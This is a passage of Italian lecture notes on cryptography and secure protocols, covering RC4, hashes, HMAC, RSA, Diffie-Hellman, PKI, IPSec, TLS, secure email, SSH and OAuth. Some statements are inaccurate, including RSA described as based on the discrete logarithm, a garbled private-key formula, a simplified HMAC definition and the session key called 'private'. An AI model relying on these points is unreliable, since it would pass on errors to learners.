cifrato e/o chiave), è possibile risalire al terzo:
- conoscendo testo in chiaro e testo cifrato, è possibile ottenere la
chiave (si inverte lo XOR);
- conoscendo due testi cifrati con la stessa chiave è possibile ottenere
lo XOR dei due testi in chiaro
Quindi:
- non bisogna mai riutilizzare la stessa chiave;
- la stream key dev'essere sempre diversa
=== Robustezza
I cifrari a flusso assomigliano molto al cifrario One-Time Pad, con
l'eccezione che le stream key sono generate pseudo-casualmente e non
casualmente.
La pseudo-casualità combinata con lo XOR cancella ogni proprietà
statistica del testo.
La sicurezza di un cifrario a flusso dipende principalmente dal
generatore di numeri pseudo-casuali. Se si ha a disposizione un buon
generatore, la sicurezza di un cifrario a flusso è pari a quella di un
cifrario a blocchi, con il vantaggio però di essere molto più semplice
da implementare.
=== Proprietà che deve avere la stream key
- essere il più casuale possibile. + casualità \= + sicurezza;
- essere calcolata a partire da una chiave sufficientemente lunga
(almeno 128 bit), per proteggersi da crittoanalisi a forza bruta;
- derivare da una sequenza di numeri pseudo-casuali con il
#strong[periodo] (ovvero il numero di elementi dopo i quali si ripete
la stessa frequenza) più lungo possibile
=== RC4
Cifrario a flusso molto utilizzato nel passato (SSL, chiavi WEP,
gestione password su Windows, ecc.).
Dopo una fase di inizializzazione, effettua una #strong[permutazione
casuale], basata sulla chiave, di ciascuno degli 8 bit.
Il generatore di numeri pseudo-casuali ha un periodo enorme
($gt 10^100$).
==== Debolezze
Stanno tutte nel #strong[PNRG] (Pseudo Number Random Generator):
- i primi 256 byte del #strong[keystream] (la sequenza di caratteri
pseudo-casuali da concatenare tramite XOR al testo in chiaro) non sono
realmente casuali. Molte implementazioni li scartano eseguendo i primi
256 cicli a vuoto;
- la chiave ed il keystream sono fortemente collegati tra loro
(violazione di una delle idee di Shannon)
RC4 inoltre è vulnerabile a #strong[bit flipping attack]. Si tratta di
un attacco di tipo man-in-the-middle dove l'attaccante intercetta il
messaggio cifrato e cambia 1 singolo bit di esso. Si tratta di un
attacco molto pericoloso in schemi di comunicazione #strong[rigidi] (es.
bancari):
#image("assets/a9586c49f7a3e6cb2e8eb5db71da73f7.png")
Queste debolezze hanno portato alla deprecazione di RC4. Sono il motivo
principale per cui una chiave WEP è facilmente violabile.
==== Algoritmo
Passo di inizializzazione:
+ si costruisce un vettore di stato $S$ di 256 elementi che contiene una
permutazione dei primi byte da 0 a 255;
+ si costruisce un vettore temporaneo $T$ di 256 caratteri,
inizializzandolo con la chiave $K$ (eventualmente ripetendola quanto
necessario per riempire i 256 caratteri);
+ si usa il vettore $T$ per produrre la permutazione iniziale di $S$;
+ ogni elemento `S[i]` viene scambiato con un altro byte, in funzione di
`T[i]`;
+ si esegue il passo precedente per 256 volte, ottenendo alla fine un
vettore $S$ molto ben mescolato
Passo di cifratura:
+ si continuano a scambiare i valori contenuti nel vettore di stato;
+ gli elementi selezionati per lo scambio vengono sommati tra loro
(modulo 256);
+ il risultato costituisce l'indice del vettore $S$ che contiene la
stream key;
+ si effettua lo XOR tra questo valore ed il byte del messaggio da
cifrare
== Integrità
=== Message digest
Si genera un #strong[digest] a partire da un messaggio $m$. Il digest
viene inserito in coda al messaggio ed inviato insieme ad esso.
Al momento della ricezione del messaggio, il destinatario ri-calcolerà
il digest e lo confronterà con quello ricevuto. Se combaciano, allora il
messaggio non è stato alterato.
=== Funzioni hash
Il digest viene calcolato tramite una #strong[funzione hash] $h$. Si
tratta di funzioni matematiche con proprietà particolari:
- devono avere #strong[bassa complessità computazionale] (il calcolo del
digest dev'essere rapido);
- #strong[non invertibilità]: dato $y$ dev'essere impossibile (o
computazionalmente impossibile) trovare un messaggio $m$ tale che
$h lr((m)) eq y$;
- #strong[non invertibilità con preimmagine nota]: dato $m$, dev'essere
impossibile trovare un messaggio $m prime eq.not m$ tale che
$h lr((m prime)) eq h lr((m))$;
- deve essere #strong[fortemente resistente alle collisioni]: dev'essere
impossibile trovare due messaggi $m_1 comma m_2$ tali che
$h lr((m_1)) eq h lr((m_2))$;
- deve restituire un digest in modo #strong[uniforme] per ogni messaggio
$m$
Poiché l'insieme dei messaggi è molto più grande dell'insieme dei
possibili digest, nella pratica si accetta che $h$ sia solo
#strong[debolmente] resistente alle collisioni. Trovare delle collisioni
deve però essere computazionalmente intrattabile.
==== Esempio di funzione hash semplice
Partendo da un messaggio $m$ lungo $L$ bit, si vuole ottenere un digest
di $n$ bit, con $L gt gt n$.
+ si suddivide il messaggio in $k$ blocchi da $n$ bit l'uno, tali che
$k eq L / n$;
+ si dispone ciascun blocco su una riga in modo da avere una matrice
$n times k$;
+ si calcola $i$-esimo bit dell'hash tramite XOR degli elementi
dell'$i$-esima colonna, ovvero:
$ h_i eq m_(1 i) xor m_(2 i) xor dot.basic dot.basic dot.basic xor m_(k i) $
Problema: questa funzione hash non è robusta.
==== Message Digest (MD)
Famiglia di funzioni per la generazione di un hash.
La funzione più famosa di questa famiglia è #strong[MD5], che genera un
hash a 128 bit.
Al momento è considerato "not recommended" dall'IETF in quanto la
piccola dimensione lo rende vulnerabile a #strong[birthday attacks] (in
sostanza servono solo $2^64$ operazioni, anziché $2^128$, per trovare
una collisione).
==== Secure Hash Algorithm (SHA)
Altra famiglia di funzioni per la generazione di un hash.
SHA-1 è stata utilizzata in tantissime applicazioni e protocolli (SSL,
PGP, SSH, ecc.).
SHA-1 produce un digest di 160 bit. La lunghezza massima del messaggio
in input è di $2^64 minus 1$ bit.
L'algoritmo è simile alla funzione di hashing semplice già vista:
+ si costruisce una matrice;
+ i blocchi del messaggio sono elaborati mediante una serie di cicli che
usano una #strong[funzione di compressione] che combina il blocco
corrente con il risultato ottenuto nel round precedente
La robustezza dell'hashing SHA-1 sta nella funzione di compressione:
deve essere costruita in modo tale che ogni bit di input influenzi il
maggior numero di bit in output.
Nel 2005 è stato dimostrato che sono sufficienti $2^69$ operazioni
(invece delle previste $2^80$) per rilevare collisioni.
Già da diversi anni esistono sotto-famiglie che utilizzano più bit
(SHA-2 e SHA-3).
==== WHIRPOOL
Funzione di hashing che prende in input un messaggio di lunghezza
massima $2^256$ bit e restituisce un digest di 512 bit.
Si basa su una cifratura a blocchi quadrata, analoga a quella utilizzata
da AES.
Algoritmo libero da copyright.
==== Limiti delle funzioni hashing
Non c'è #strong[autenticazione] relativa al mittente. Il destinatario
può verificare l'integrità del messaggio, ma non sa se quel messaggio
gli sia arrivato dal mittente vero o da qualcuno che si spaccia per lui.
Soluzione: funzioni MAC.
=== Funzioni MAC
Le funzioni MAC generano un #strong[tag]. Oltre al messaggio, richiedono
anche una #strong[chiave] $K$.
+ il mittente genera un tag e lo inserisce in coda al messaggio;
+ il destinatario ri-calcola il tag e lo controlla con quello del
messaggio
Mittente e destinatario condividono la stessa chiave segreta $K$.
Una funzione MAC è simile alla crittografia simmetrica, ma #strong[non
deve essere reversibile] (l'obiettivo non è decifrare il tag ma solo
confrontarlo con un altro).
La funzione MAC non può essere considerata una firma digitale, perché
entrambi gli interlocutori condividono la stessa chiave $K$ e quindi non
c'è garanzia dell'#strong[univocità del mittente].
==== HMAC
Particolare tipo di funzione MAC che utilizza una funzione hashing $H$.
Il tag è generato in questo modo:
```
TAG = HMAC(K, m) = H(K || H(K || m))
```
= Lezione 12 - crittografia asimmetrica
La crittografia asimmetrica nasce per risolvere alcuni problemi nella
#strong[gestione] di chiavi #strong[simmetriche]:
- #strong[distribuzione] delle chiavi;
- #strong[autenticità] della chiave;
- nella crittografia simmetrica, affinché $n$ interlocutori riescano a
comunicare ognuno deve generare $n minus 1$ chiavi (una per ogni altro
interlocutore, escluso sè stesso), per un totale di
$n lr((n minus 1))$ chiavi
== Key Distribution Center
Sistema di distribuzione di chiavi basato sulla crittografia simmetrica.
#image("assets/d0d8ef5cec9983ee4c11851d9c18bcea.png")
Necessita di 2 livelli di chiavi:
- una #strong[chiave di sessione], temporanea, utilizzata per la durata
di una connessione logica;
- una #strong[chiave master] condivisa dal KDC e il sistema utente, da
utilizzare per cifrare la chiave di sessione
Il KDC ha grossi problemi di scalabilità dovuti proprio alla
distribuzione della chiave master.
== Crittografia asimmetrica
Principi:
- ogni utente è dotato di una #strong[coppia di chiavi complementari];
- la #strong[chiave pubblica] può essere conosciuta da tutti;
- la #strong[chiave privata] dev'essere mantenuta #strong[segreta]
Il problema di distribuzione delle chiavi viene quindi semplificato:
- è sufficiente distribuire solo le #strong[chiavi pubbliche];
- essendo pubbliche, non c'è bisogno di dare garanzie di riservatezza;
- le chiavi pubbliche distribuite però devono essere
#strong[autenticate]
=== Cifratura di Rivest, Shamir, Adleman (RSA)
Algoritmo di cifratura asimmetrica che si basa su diversi concetti
matematici:
- aritmetica modulare;
- #strong[logaritmo discreto]
La sua sicurezza è dovuta alla difficoltà nello scomporre in fattori
primi degli #strong[interi molto grandi].
Il problema della scomposizione di un numero in fattori primi è un
#strong[problema difficile]. Al momento non esistono "scorciatoie" se
non provare tutte le possibili combinazioni.
Si può quindi rendere questo algoritmo #strong[computazionalmente
inviolabile] utilizzando dei #strong[numeri primi grandi a piacere].
Un altro fattore di robustezza di RSA è dato dall'#strong[aritmetica
modulare].
L'aritmetica modulare possiede moltissime funzioni
#strong[unidirezionali] e #strong[semplici] da calcolare (es.
$lr((2 plus 3)) #h(0em) mod med 7 eq 5$).
L'aritmetica modulare ha interessanti proprietà per quanto riguarda le
#strong[potenze]: se $z eq v plus y plus w$, allora:
$ lr((x^z)) #h(0em) mod med q eq lr([lr((x^v)) #h(0em) mod med q times lr((x^y)) #h(0em) mod med q times lr((x^w)) #h(0em) mod med q]) #h(0em) mod med q $
Altra proprietà: scegliendo un numero primo $p$, mettendo insieme tutti
i risultati delle potenze $lr((2^i)) #h(0em) mod med p$ si ottiene una
#strong[permutazione] di tutti i numeri compresi nell'intervallo
$lr([1 comma p minus 1])$ (anche se questo non è vero per tutti i numeri
primi, es. $p eq 7$).
Sfruttando questa proprietà siamo certi del fatto che
$2^x eq 3 #h(0em) mod med p$ ha soluzione, ovvero siamo certi del fatto
che esiste una $x$ tale che $2^x / p$ ha resto $3$.
Per trovare questo valore $x$ bisogna risolvere il problema del
#strong[logaritmo discreto]. Se $p$ è molto grande, questo problema è
computazionalmente intrattabile.
=== Funzionamento dell'algoritmo
+ Alice sceglie due numeri primo molto grandi $p$ e $q$ da
#strong[tenere segreti], es. $p eq 17$ e $q eq 11$;
+ Alice calcola $N eq p q eq 187$;
+ Alice sceglie un esponente $k$ (possibilmente primo anch'esso) tale
che $k$ e $lr((p minus 1)) lr((q minus 1))$ siano primi tra loro (es.
$k eq 7$);
+ Alice pubblica la coppia $lr((N comma k))$, che costituirà la sua
#strong[chiave pubblica]
Nota: anche se $N$ è noto, risalire agli originali $p$ e $q$ è
computazionalmente intrattabile.
+ Alice calcola il valore
$d eq lr((k d)) #h(0em) mod med lr((p minus 1)) lr((q minus 1))$
(ovvero $d eq 23$). Questo valore rappresenta la sua #strong[chiave
privata].
Nota: il valore $d$ può essere calcolato solo da Alice, perché è l'unica
che conosce i numeri $p$ e $q$.
Bob vuole quindi mandare un messaggio $C$ ad Alice cifrato utilizzando
la sua chiave pubblica.
+ Bob deve trasformare il messaggio in chiaro in un #strong[numero] $M$
(es. Bob può convertire il testo in binario con codifica ASCII);
+ Bob calcola $C$ come $C eq lr((M^k)) #h(0em) mod med N$ (dove $k$ ed
$N$ sono le componenti della chiave pubblica di Alice)
Supponendo che il messaggio da mandare sia la stringa `"X"` (che vale
`1011000` in binario, ovvero $M eq 88$ in decimale), applicando la
formula si ha $C eq lr((88^7)) #h(0em) mod med 187 eq 11$.
Per decifrare il messaggio $C$, Alice usa la formula
$M eq lr((C^d)) #h(0em) mod med N$, ovvero $M eq 88$.
==== Funzione unidirezionale speciale
L'algoritmo RSA sfrutta una #strong[funzione unidirezionale speciale].
"Speciale" perché questa funzione #strong[è invertibile] (e quindi è
possibile anche decifrare i messaggi utilizzando la stessa funzione), a
patto di avere alcuni dati a disposizione.
In particolare, la funzione di cifratura di RSA è invertibile da parte
di chi è in possesso dei coefficienti $p$ e $q$, necessari per calcolare
$d$ (chiave privata).
==== Crittoanalisi di RSA
L'algoritmo per la crittoanalisi è noto, ma è #strong[computazionalmente
intrattabile].
Il sistema RSA è sicuro nel momento in cui $N$ ha un #strong[centinaio
di cifre] e quindi la sua scomposizione in fattori primi supera le
capacità computazionali attuali e quelle del prossimo futuro.
Problema: per avere questo livello di robustezza occorre usare
#strong[chiavi molto lunghe], il che rende quest'algoritmo (e in
generale tutta la crittografia asimettrica) #strong[più oneroso] da
utilizzare rispetto alla crittografia simmetrica. Per queste ragioni, la
crittografia asimmetrica viene usata solo per lo #strong[scambio sicuro
di chiavi simmetriche].
Al giorno d'oggi una chiave RSA sicura dev'essere composta da almeno
2.048 bit (o 4.096).
== Algoritmo di Diffie-Hellman
Algoritmo per lo scambio sicuro di chiavi.
La sua robustezza sta nella diffocoltà nel calcolare il
#strong[logaritmo discreto] di numeri molto grandi.
+ Alice e Bob si scambiano due numeri $P$ e $G$ su un #strong[canale
insicuro], dove:
- $P$ è un numero primo molto grande;
- $G$ è un #strong[numero generatore]
#block[
#set enum(numbering: "1.", start: 2)
+ Alice sceglie un numero $a$ da tenere privato, calcola
$X eq G^a #h(0em) mod med P$ ed invia $X$ a Bob;
+ Bob sceglie un numero $b$ da tenere privato, calcola
$Y eq G^b #h(0em) mod med P$ ed invia $Y$ ad Alice;
+ Alice calcola il valore $k_a eq Y^a #h(0em) mod med P$;
+ Bob calcola il valore $k_b eq X^b #h(0em) mod med P$
]
È dimostrabile come $k_a eq k_b$. Questa è la chiave #strong[simmetrica]
che Alice e Bob utilizzeranno per comunicare.
L'algoritmo di Diffue-Hellman è utilizzato in numerosi protocolli
sicuri:
- SSH;
- TLS;
- IPSec;
- Public Key Infrastructure (PKI)
= Lezione 13 - applicazioni della crittografia
Garanzie cercate nella comunicazione su Internet:
- #strong[riservatezza] (o #strong[confidenzialità]): il messaggio
dev'essere leggibile solo da quelli autorizzati;
- #strong[integrità]: il destinatario deve poter accorgersi se il
messaggio è stato alterato rispetto a quello inviato dal mittente;
- #strong[autenticità]: certezza dell'"identità" del mittente;
- #strong[non ripudio]
== Firma digitale
Permette di ottenere:
- #strong[autenticità] del messaggio;
- #strong[non repudiabilità] del messaggio
+ Alice inserisce in coda al proprio messaggio un #strong[digest],
cifrato con la sua #strong[chiave privata];
+ Alice cifra `messaggio + digest` con la #strong[chiave pubblica] di
Bob e manda il messaggio cifrato;
+ Bob decifra il messaggio utilizzando la sua chiave privata e decifra
il digest di Alice utilizzando la sua #strong[chiave pubblica]. Se
questa decifratura ha successo, allora Bob ha la garanzia che il
messaggio gliel'ha mandato davvero Alice e non qualcuno che si spaccia
per lei.
Problema: Bob dev'essere a conoscenza della chiave pubblica di Alice.
Affinché questo sistema funzioni dev'essere predisposto un meccanismo di
#strong[distribuzione di chiavi pubbliche autenticate].
== Certification Authority
Nel sistema PKI, la CA #strong[firma la chiave pubblica] di Alice. In
questo modo Bob ha la garanzia che la chiave pubblica di Alice sia
davvero la sua.
Sia Bob che Alice devono #strong[fidarsi] della CA.
Le CA rilasciano dei #strong[certificati] (chiavi pubbliche + metadati,
es. data di validità) che garantiscono la connessione tra una chiave
pubblica ed un'entità (azienda, dominio, ecc.).
=== Rilascio di un certificato digitale
+ Bob crea una coppia di chiavi asimmetriche;
+ Bob firma la propria identità e la propria chiave pubblica utilizzando
la sua chiave privata;
+ Bob invia il messaggio alla CA, creando una #strong[Certificate
Signing Request]
Essendo firmato con la sua chiave privata, Bob dimostra alla CA di
essere in possesso della chiave privata. Inoltre si garantisce
#strong[integrità] del messaggio.
La CA:
#block[
#set enum(numbering: "1.", start: 4)
+ verifica la firma di Bob (ovvero verifica che con la sua chiave
pubblica sia possibile risalire alla coppia (chiave pubblica, ID) di
Bob);
+ verifica l'identità di Bob (passaggio #strong[fondamentale] in quanto
chiunque può generare un CSR);
+ crea un #strong[certificato digitale] che contiene, tra le altre cose,
la corrispondenza tra la chiave pubblica di Bob e la sua identità;
+ firma il certificato con la propria chiave privata;
+ spedisce il certificato firmato a Bob
]
Quindi, Bob:
#block[
#set enum(numbering: "1.", start: 9)
+ verifica che la firma della CA sia valida (e.g.~cerca di decifrare il
messaggio utilizzando la chiave pubblica della CA);
+ verifica la correttezza dei dati presenti nel certificato digitale (in
particolare verifica che non siano state alterate chiave pubblica ed
identità)
]
== Protocolli sicuri
I protocolli storici IP e TCP sono stati progettati in un periodo in cui
la #strong[sicurezza] non era minimamente tenuta in considerazione.
Al giorno d'oggi però è necessario garantire #strong[riservatezza],
#strong[integrità] ed #strong[autenticità] dei messaggi.
I protocolli sicuri si inseriscono all'interno dello stack TCP/IP già
esistente. Alcuni sono #strong[estensioni] di protocolli già esistenti
(es. IPSec e MACSec, estensioni di IP ed Ethernet), mentre altri vanno a
creare dei veri e propri #strong[livelli intermedi] nello stack.
Per creare questi nuovi livelli intermedi si utilizza la tecnica del
#strong[tunneling] (incapsulamento).
=== IPSec
Architettura di sicurezza completa per il traffico a livello IP.
Obiettivi di IPSec:
- trasformare il livello 3, tipicamente #strong[connectionless], in un
livello #strong[stateful]
- il componente #strong[Security Association] (SA) ha il compito di
creare delle #strong[sessioni] a livello network;
- #strong[autenticare] la sorgente e dare garanzie di #strong[integrità]
anche sul payload (nota: a livello 3 il checksum è fatto solo sugli
header) (componente #strong[Authentication Header] (AH));
- #strong[crittografare] il messaggio (componente #strong[Encapsulation
Security Payload] (ESP))
IPSec ha anche un ulteriore componente, chiamato #strong[Internet Key
Exchange] (IKE) per la gestione delle chiavi simmetriche.
==== Security Association
Si instaura una sessione tramite una fase di #strong[negoziazione] dei
parametri (es. cifrario da utilizzare, ecc.).
Ogni sessione IPSec è identificata da un #strong[SA identifier] per
permettere allo stesso host di avere più sessioni attive
contemporaneamente.
Le SA sono #strong[unidirezionali]: per poter avere una comunicazione
bidirezionale occorre instaurare 2 connessioni separate.
Le principali informazioni contenute in una SA sono:
- protocollo di sicurezza utilizzato (AH o ESP);
- indirizzo IP sorgente;
- identificatore che contiene i #strong[Security Parameter Index] (SPI)
Quando un host riceve un pacchetto, questo può essere autenticato (o
decifrato) solo se il ricevente può far riferimento allo stesso SA
identifier, determinato in fase di negoziazione.
Componenti principali delle SA:
- #strong[Security Policy Database] (SPD): contiene le policy di
sicurezza da applicare ai diversi tipi di comunicazione;
- #strong[Security Association Database] (SAD): DB che contiene l'elenco
delle SA attive e le relative caratteristiche (algoritmi, ecc.)
==== Transport mode e tunnel mode
La modalità #strong[transport mode] è utilizzata per creare una
#strong[connessione end-to-end] tra #strong[due host] (NON tra due
gateway).
Ogni host che vuole comunicare deve avere tutto il software per poter
utilizzare IPSec, il che diventa molto complesso se gli host da
connettere sono molti.
La modalità #strong[tunnel mode] è utilizzata per creare una
#strong[connessione tra reti] (e.g.~tra gateway). Solo i gateway devono
avere il software per poter utilizzare IPSec, quindi la gestione è più
semplice rispetto al transport mode. Tuttavia questi gateway devono
essere anche molto potenti per gestire il traffico.
Se si vuole identificare e differenziare i nodi in base al loro IP
sorgente, la modalità #strong[transport] è l'unica utilizzabile.
==== Protocolli di autenticazione e crittografia di IPSec
Il protocollo AH permette di garantire l'#strong[autenticità della
sorgente] e il #strong[controllo d'integrità] dell'#strong[intero]
datagram IP. Nella pratica, AH aggiunge un header intermedio tra il
livello 3 e 4.
Il protocollo ESP fornisce garanzia di #strong[riservatezza] tramite
tecniche di cifratura e, opzionalmente nelle versioni più recenti, di
#strong[autenticazione].
AH ed ESP possono essere usati singolarmente oppure insieme.
==== Protocolli per lo scambio di chiavi in IPSec
IPSec utilizza delle chiavi #strong[simmetriche].
È necessario predisporre un meccanismo per lo scambio di queste chiavi.
Il protocollo IKE utilizza il sotto-protocollo #strong[ISAKMP], il quale
stabilisce le procedure per attivare e terminare una SA.
Il protocollo IKE è diviso in 2 fasi:
+ autenticazione dell'utente remoto che vuole iniziare una connessione
IPSec e successivo scambio di chiavi;
+ negoziazione dei parametri della SA
Lo scambio di chiavi può avvenire in due modalità:
- #strong[pre-shared key]: si utilizza una #strong[chiave già scambiata]
in precedenza tramite altri canali. Utilizzabile quando gli host non
hanno un indirizzo IP fisso;
- #strong[certificato digitale]: ogni entità che si connette con IPSec
possiede un certificato digitale (eventualmente amministrato da una
CA). Utilizzabile solo se gli host hanno un indirizzo IP fisso
==== Vantaggi e svantaggi di IPSec
- rende sicure tutte le comunicazioni a livello network, di conseguenza
tutti i protocolli che usano IP beneficiano di alti livelli di
sicurezza;
- è complesso da gestire;
- è pensato per essere #strong[punto-punto], non funziona per
comunicazioni #strong[broadcast]
=== SSL e TLS
SSL (Secure Socket Layer) è un protocollo pubblico #strong[non
proprietario] la cui prima versione pubblicata (SSL 2.0) risale al 1994.
La versione SSL 3.1, rilasciata nel 1998, è conosciuta anche col nome
#strong[Transport Layer Security] (TLS).
SSL è un protocollo #strong[indipendente dalla piattaforma]. Opera tra
il livello trasporto e quello applicativo.
Proprietà garantite da SSL:
- riservatezza della trasmissione, sfruttando la crittografia
simmetrica;
- autenticazione, sfruttando il meccanismo dei #strong[certificati];
- integrità, garantita da un #strong[message authentication code]
SSL è organizzato su due livelli:
+ #strong[SSL handshake]: utilizzato per iniziare la connessione.
Prevede la negoziazione di diversi parametri di sicurezza (algoritmo
da usare, ecc.) e l'autenticazione dei due interlocutori;
+ #strong[SSL record]: si occupa del trasferimento dei dati, cifrandoli
mediante la #strong[chiave simmetrica di sessione] condivisa durante
l'handshake
L'handshake permette al client e al server di cooperare per definire una
chiave simmetrica comune.
L'handshake prevede #strong[sempre] l'autenticazione del server.
L'autenticazione del client, pur essendo prevista dal protocollo,
raramente viene usata nella pratica.
Quando un server riceve una richiesta di handshake SSL, è tenuto a
mandare la propria #strong[catena di certificati] in modo da permettere
al client di autenticarlo.
L'integrità dei dati in SSL viene garantita sfruttando delle funzioni
MAC:
+ il mittente calcola l'hash del messaggio e lo usa per generare il MAC,
che verrà posto in coda al messaggio;
+ il destinatario decifrerà il MAC con la propria chiave simmetrica,
ricalcolerà l'hash e verificherà che coincida con quello ricevuto nel
pacchetto
== Servizi applicativi sicuri
=== HTTPS
HTTP over TLS. Utilizza lo stesso sistema di chiavi di TLS:
- la chiave pubblica viene utilizzata per trasmettere la #strong[chiave
di sessione] TLS;
- la chiave privata, ovvero quella di sessione, viene utilizzata per
cifrare i dati
Il server deve aver installato un certificato emesso da una CA
riconosciuta.
Una volta creata la connessione sicura con HTTPS, l'interazione è
protetta da IP spoofing e masquerading, perché le informazioni non sono
leggibili senza avere le chiavi private.
Le chiavi private possono essere violate, ma siccome
- cambiano ad ogni sessione;
- sono soggette a timeout
difficilmente l'attaccante riesce a violarle in tempo utile.
=== Posta elettronica sicura
Il protocollo SMTP è in chiaro e non richiede autenticazione.
Questo comporta il rischio di #strong[message forging], ovvero l'uso di
#strong[mittenti falsi].
I protocolli principali per garantisce #strong[sicurezza end-to-end]
delle email sono #strong[S/MIME] e #strong[PGP].
- S/MIME si basa sul sistema PKI (CA, ecc.) per la distribuzione e la
certificazione delle chiavi pubbliche;
- PGP si basa sul concetto di #strong[web of trust]
==== S/MIME
#strong[MIME] è un protocollo che permette di inserire all'interno dello
stesso messaggio dati non necessariamente testuali (es. audio, video,
ecc.).
Il protocollo MIME prevede l'uso di 5 header:
- MIME-Version;
- Content-Type;
- Content-Transfer-Encoding (indica la codifica usata per trasformare in
testo i dati binari);
- Content-ID (opzionale, può contenere il nome del file);
- Content-Description (opzionale, descrizione sul contenuto)
Il sotto-tipo più importate di MIME è #strong[mixed]. Viene utilizzato
per includere più parti all'interno dello stesso messaggio. Ognuna di
queste parti può essere un tipo MIME differente ed è separata da una
#strong[boundary string], definita nel Content-Type.
#image("assets/4d881f11114a75a5df068967223b483d.png")
S/MIME aggiunge nuovi tipi e sottotipi a MIME. I più importanti sono:
- `application/pkcs7-mime; smime-type=enveloped-data`, utilizzato per
trasmettere dati cifrati;
- `application/pkcs7-mime; smime-type=signed-data`, utilizzato per
trasmettere dati firmati;
- `multipart/signed`, utilizzato per retrocompatibilità con chi non
possiede MIME, questo Content-Type permette di firmare dei
#strong[messaggi in chiaro]
S/MIME garantisce:
- autenticità del mittente del messaggio;
- integrità del messaggio;
- non ripudiabilità;
- confidenzialità
S/MIME si basa sul sistema PKI, quindi ogni utente deve possedere un
certificato rilasciato da una CA. La validazione dei certificati
funziona sempre al solito modo (catena, ecc.).
Problemi di S/MIME:
- dare un certificato a #strong[tutti] gli utenti è molto complesso;
- col tempo sono aumentate le #strong[web mail], che richiedevano agli
utenti di condividere le chiavi segrete con il server per poter
leggere le email;
- la cifratura impedisce il controllo del messaggio da parte degli
antivirus
==== PGP
Alternativa a S/MIME che non si basa sul sistema PKI.
È lo standard de facto per la crittografia della posta elettronica.
Idea di base: usare la crittografia asimmetrica solo per cifrare e
scambiarsi la chiave simmetrica.
Schema completo:
#image("assets/872aff745c42e29f04beb5083a39ecf0.png")
Partendo da PGP è stato sviluppato #strong[GPG] (GNU Privacy Guard),
un'implementazione open source di PGP che non usa l'algoritmo
proprietario IDEA per la cifratura.
GPG è compatibile con PGP ed offre anche alcune funzionalità aggiuntive.
Schema per la cifratura:
#image("assets/f298aa21cdfc865154ac54574f1a4e8a.png")
Schema per la firma digitale:
#image("assets/1f8dfd944ea98bbc88df6d32fbb55455.png")
==== PEC - Posta Elettronica Certificata
Principi:
- la validità di un messaggio di posta inviato tramite PEC è la stessa
di una raccomandata con ricevuta di ritorno;
- certezza della ricezione;
- non ripudiabilità dell'invio;
- integrità del messaggio;
- possibilità di stabilire data e ora di consegna
Esiste un elenco dei provider autorizzati ad offire servizio PEC.
PEC utilizza il protocollo S/MIME, ma non implementa le funzionalità di
#strong[cifratura] del messaggio (viene sempre trasmesso in chiaro).
=== SSH
Protocollo utilizzato per l'#strong[accesso remoto] ad un host
stabilendo un #strong[tunnel cifrato] tra un client SSH ed un server
SSH.
==== 1. Instaurazione della connessione
Client e server devono creare un #strong[canale sicuro] #strong[prima]
che inizi l'autenticazione dell'utente, in modo da non trasmettere in
chiaro le sue credenziali.
In questa fase viene generata una #strong[chiave simmetrica] e si
utilizza l'#strong[algoritmo di Diffie-Hellman] per scambiarla.
Ogni host ha una coppia di #strong[host key], una pubblica ed una
privata. Vengono utilizzate in modo trasparente agli utenti e sono
create in automatico nel momento in cui si installa `ssh`.
All'avvio di ogni sessione, gli host si scambiano tra loro le proprie
host key pubbliche.
==== 2. Autenticazione dell'utente
Una volta creato il canale sicuro, il server può verificare le
credenziali dell'utente in 2 modi:
- username/password;
- chiave pubblica
== Identity, AuthN, AuthZ
Differenziare i termini:
- #strong[identità]: informazione che #strong[identifica un'entità] nel
sistema (es. un host);
- #strong[autenticazione]: processo che permette all'entità di
#strong[dimostrare la propria identità] (es. tramite password);
- #strong[autorizzazione]: processo che stabilisce quali risorse possono
essere accedute in base alla propria identità
L'autorizzazione può essere anche #strong[delegata] (es.
single-sign-on):
- esiste un server che permette agli utenti di autenticarsi (es.
Google). Di solito questi server memorizzano anche informazioni
sull'utente;
- altri servizi si appoggiano a questo servizio d'autenticazione per
autenticare gli utenti
=== OAuth
Protocollo per la delega dell'autenticazione.
Obiettivi:
- permettere ad applicazioni di terze parti di accedere ai dati
memorizzati su un altro server;
- regolare i processi di autorizzazione e autenticazione dell'utente;
- evitare che applicazioni di terze parti possano vedere le credenziali
dell'utente
Implementazione:
- vengono distribuiti dei #strong[token] per ogni applicazione
(#strong[bearer token]);
- si utilizzano protocolli web standard (HTTP, HTTPS)
Ruoli coinvolti:
- resource owner (utente)
- deve accedere ad applicazioni che hanno bisogno dei suoi dati
- authorization server
- l'unico attore che memorizza le credenziali dell'utente
- resource server
- memorizza i dati dell'utente
- client
- applicazione di terze parti che ha bisogno di accedere ai dati
dell'utente
==== Operazioni principali per il client
Nota: in questo caso il client non è l'utente (che è invece il resource
owner), ma è l'applicazione di terze parti che ha bisogno di accedere ai
dati dell'utente.
===== 1. Registrazione del client
OAuth non definisce nessun protocollo specifico per la registrazione.
Assume però che il client fornisca al provider:
- dominio;
- `redirect_uri` (URL alla quale ridirezionare l'utente dopo il login);
- `scope` (a quali dati il client deve accedere);
- altri metadati opzionali (tipicamente nome del servizio e logo)
Il provider dovrà restituire al client:
- un `client_id`, per identificarlo;
- una `client_secret` che il client dovrà utilizzare per identificarsi
al provider
===== 2. Ottenere l'autorizzazione
Questa fase dipende dal tipo di applicazione.
Nel caso delle applicazioni web si può assumere questo scenario:
+ l'utente atterra sulla pagina e trova il pulsante "Login con Google";
+ al click sul pulsante, l'utente viene ridirezionato alla pagina di
login di Google. In questa fase, il client include nell'URL di
redirect `client_id`, `scope` e `redirect_uri`;
+ l'utente inserisce le proprie credenziali nel form di Google. Prima di
farlo, è tenuto a verificare la validità del certificato HTTPS e
l'entità (client) che sta richiedendo i dati all'utente;
+ dopo il login, l'utente viene nuovamente ridirezionato verso l'URL
indicata nel parametro `redirect_uri`. L'authorization server include
nell'URL di redirect anche il parametro `authorization_code`;
+ il client richiede all'authorization server un #strong[access token]
(che ha una scadenza molto breve) ed un #strong[refresh token] (da
utilizzare per aggiornare l'access token) per accedere al resource
server
#image("assets/9b4fc7c22619aaea0c3d2fee979b34ae.png")
= Lezione 14 - Intrusion Detection Systems
Definizioni:
- #strong[intrusione]: insieme di azioni volte a compromettere la
#strong[sicurezza] (intesa come integrità/riservatezza/disponibilità)
di una risorsa;
- #strong[intrusion detection]: processo di #strong[identificazione]
delle attività di intrusione. Non include #strong[prevenzione] e
#strong[reazione] alle intrusioni
Possibili funzioni di un IDS:
- monitorare e #strong[loggare le attività];
- controllo della #strong[configurazione del sistema] per rilevare
eventuali criticità;
- valutare l'integrità di file critici;
